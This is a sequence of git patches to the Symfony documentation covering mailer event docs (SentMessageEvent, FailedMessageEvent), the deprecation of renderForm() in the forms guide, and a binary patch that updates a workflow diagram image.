+    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
+    use Symfony\Component\Mailer\Event\FailedMessageEvent;
+
+    public function onMessage(FailedMessageEvent $event): void
+    {
+        // e.g you can get more information on this error when sending an email.
+        $event->getError();
+        
+        // do something with the message
     }
 
+Execute this command to find out which listeners are registered for this event and
+their priorities:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\FailedMessageEvent"
+
+.. versionadded:: 6.2
+
+    ``SentMessageEvent`` and ``FailedMessageEvent`` were introduced in Symfony 6.2.
+
 Development & Debugging
 -----------------------
 

From 2870f49408045f120d90ecaa7655c68b1b9a56d7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 20 Sep 2022 11:38:12 +0200
Subject: [PATCH 3670/7107] Minor tweaks

---
 mailer.rst | 39 ++++++++++++++++++++++-----------------
 1 file changed, 22 insertions(+), 17 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index d0aded6375f..cd388d0ff46 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1428,21 +1428,26 @@ is sent::
         // do something with the message
     }
 
-Execute this command to find out which listeners are registered for this event and
-their priorities:
+Execute this command to find out which listeners are registered for this event
+and their priorities:
 
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\MessageEvent"
 
 SentMessageEvent
-~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\SentMessageEvent`
 
-``SentMessageEvent`` it allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage` to access the original 
-message (getOriginalMessage()) and some debugging information (getDebug()) such as 
-the HTTP calls made by the HTTP transports, which is useful for debugging errors::
+.. versionadded:: 6.2
+
+    The ``SentMessageEvent`` event was introduced in Symfony 6.2.
+
+``SentMessageEvent`` allows you to act on the :class:`Symfony\\Component\\\Mailer\\\SentMessage`
+class to access the original message (``getOriginalMessage()``) and some debugging
+information (``getDebug()``) such as the HTTP calls made by the HTTP transports,
+which is useful for debugging errors::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\SentMessageEvent;
@@ -1458,42 +1463,42 @@ the HTTP calls made by the HTTP transports, which is useful for debugging errors
         // do something with the message
     }
 
-Execute this command to find out which listeners are registered for this event and
-their priorities:
+Execute this command to find out which listeners are registered for this event
+and their priorities:
 
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\SentMessageEvent"
 
 FailedMessageEvent
-~~~~~~~~~~~~
+~~~~~~~~~~~~~~~~~~
 
 **Event Class**: :class:`Symfony\\Component\\Mailer\\Event\\FailedMessageEvent`
 
-``FailedMessageEvent`` it allows acting on the the initial message in case of a failure::
+.. versionadded:: 6.2
+
+    The ``FailedMessageEvent`` event was introduced in Symfony 6.2.
+
+``FailedMessageEvent`` allows acting on the the initial message in case of a failure::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\FailedMessageEvent;
 
     public function onMessage(FailedMessageEvent $event): void
     {
-        // e.g you can get more information on this error when sending an email.
+        // e.g you can get more information on this error when sending an email
         $event->getError();
         
         // do something with the message
     }
 
-Execute this command to find out which listeners are registered for this event and
-their priorities:
+Execute this command to find out which listeners are registered for this event
+and their priorities:
 
 .. code-block:: terminal
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Mailer\Event\FailedMessageEvent"
 
-.. versionadded:: 6.2
-
-    ``SentMessageEvent`` and ``FailedMessageEvent`` were introduced in Symfony 6.2.
-
 Development & Debugging
 -----------------------
 

From 0c39faf0d78bf25afbaf424b4b19adc7f5ebf24c Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Thu, 7 Jul 2022 15:25:28 +0200
Subject: [PATCH 3671/7107] Deprecate `renderForm()`

---
 form/form_customization.rst |  4 ++--
 forms.rst                   | 26 +++++++++++++++++++-------
 2 files changed, 21 insertions(+), 9 deletions(-)

diff --git a/form/form_customization.rst b/form/form_customization.rst
index 738ac6a947e..8024e7ae96e 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -20,8 +20,8 @@ enough to render an entire form, including all its fields and error messages:
 
 .. code-block:: twig
 
-    {# form is a variable passed from the controller via either
-      $this->renderForm('...', ['form' => $form])
+    {# form is a variable passed from the controller via
+      $this->render('...', ['form' => $form])
       or $this->render('...', ['form' => $form->createView()]) #}
     {{ form(form) }}
 
diff --git a/forms.rst b/forms.rst
index 5687b601c76..4b7ef747ca1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -275,16 +275,21 @@ Now that the form has been created, the next step is to render it::
 
             $form = $this->createForm(TaskType::class, $task);
 
-            return $this->renderForm('task/new.html.twig', [
+            return $this->render('task/new.html.twig', [
                 'form' => $form,
             ]);
         }
     }
 
-In versions prior to Symfony 5.3, controllers used the method
-``$this->render('...', ['form' => $form->createView()])`` to render the form.
-The ``renderForm()`` method abstracts this logic and it also sets the 422 HTTP
-status code in the response automatically when the submitted form is not valid.
+Internally, the ``render()`` method calls ``$form->createView()`` to
+transform the form into a *form view* instance.
+
+.. deprecated:: 6.2
+
+    Prior to Symfony 6.2, you had to use ``$this->render(..., ['form' => $form->createView()])``
+    or the ``renderForm()`` method to render to form. The ``renderForm()``
+    method is deprecated in favor of directly passing the ``FormInterface``
+    instance to ``render()``.
 
 Then, use some :ref:`form helper functions <reference-form-twig-functions>` to
 render the form contents:
@@ -404,7 +409,7 @@ written into the form object::
                 return $this->redirectToRoute('task_success');
             }
 
-            return $this->renderForm('task/new.html.twig', [
+            return $this->render('task/new.html.twig', [
                 'form' => $form,
             ]);
         }
@@ -422,7 +427,12 @@ possible paths:
    ``task`` and ``dueDate`` properties of the ``$task`` object. Then this object
    is validated (validation is explained in the next section). If it is invalid,
    :method:`Symfony\\Component\\Form\\FormInterface::isValid` returns
-   ``false`` and the form is rendered again, but now with validation errors;
+   ``false`` and the form is rendered again, but now with validation errors.
+
+   By passing ``$form`` to the ``render()`` method (instead of
+   ``$form->createView()``), the response code is automatically set to
+   `HTTP 422 Unprocessable Content`_. This ensures compatibility with tools
+   relying on the HTTP specification, like `Symfony UX Turbo`_;
 
 #. When the user submits the form with valid data, the submitted data is again
    written into the form, but this time :method:`Symfony\\Component\\Form\\FormInterface::isValid`
@@ -1070,3 +1080,5 @@ Misc.:
 
 .. _`Symfony Forms screencast series`: https://symfonycasts.com/screencast/symfony-forms
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`HTTP 422 Unprocessable Content`: https://www.rfc-editor.org/rfc/rfc9110.html#name-422-unprocessable-content
+.. _`Symfony UX Turbo`: https://ux.symfony.com/turbo

From c10d7d89f313dd07076c700de3bc553d3629b3f1 Mon Sep 17 00:00:00 2001
From: Guilliam Xavier <guilliamxavier@users.noreply.github.com>
Date: Wed, 21 Sep 2022 12:29:08 +0200
Subject: [PATCH 3672/7107] [Workflow] fix image labels

"Transaction_*" to "Transition_*"
---
 .../workflow/states_transitions.png           | Bin 20525 -> 20821 bytes
 1 file changed, 0 insertions(+), 0 deletions(-)

diff --git a/_images/components/workflow/states_transitions.png b/_images/components/workflow/states_transitions.png
index 1e68f9ca5979ce245a142c186c7230376b2c8a45..d1f54391afdbce6b33b2298843dc176f6daae8e3 100644
GIT binary patch
literal 20821
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
